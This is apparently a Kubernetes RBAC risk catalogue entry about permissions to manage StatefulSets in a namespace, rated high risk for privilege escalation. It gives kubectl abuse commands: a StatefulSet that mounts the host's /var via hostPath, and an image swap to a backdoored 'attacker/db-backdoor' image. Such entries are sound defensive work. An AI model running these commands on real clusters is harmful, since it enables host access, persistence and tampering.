Overview

FieldValue
ID1038
NameManage StatefulSets in a namespace
Risk CategoryElevation of Privilege
Risk LevelHigh
Role TypeRole
API Groupsapps
Resourcesstatefulsets
Verbscreate, update, patch, delete
TagsPersistence PotentialPrivilegeEscalation Tampering WorkloadLifecycle

Description

Allows creating, updating, or deleting StatefulSets within a specific namespace. This can be used to deploy stateful applications with potentially privileged settings, leading to potential privilege escalation, persistence, and tampering within that namespace.

Abuse Scenarios

  1. Create a new StatefulSet with a hostPath mount in the namespace.
bash
kubectl create -n <namespace> -f - <<EOF
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: hostpath-statefulset
spec:
  serviceName: "hostpath-service"
  replicas: 1
  selector:
    matchLabels:
      app: hostpath-sts
  template:
    metadata:
      labels:
        app: hostpath-sts
    spec:
      containers:
      - name: hostpath-container
        image: busybox
        command: ["/bin/sh", "-c", "sleep infinity"]
        volumeMounts:
        - mountPath: /host-var
          name: host-var
      volumes:
      - name: host-var
        hostPath:
          path: /var
EOF
# Example: kubectl create -n default -f - <<EOF ... EOF
  1. Update an existing StatefulSet’s image to a malicious one.
bash
kubectl set image statefulset/<statefulset-name> <container-name>=<malicious-image> -n <namespace>
# Example: kubectl set image statefulset/my-app-db db=attacker/db-backdoor -n production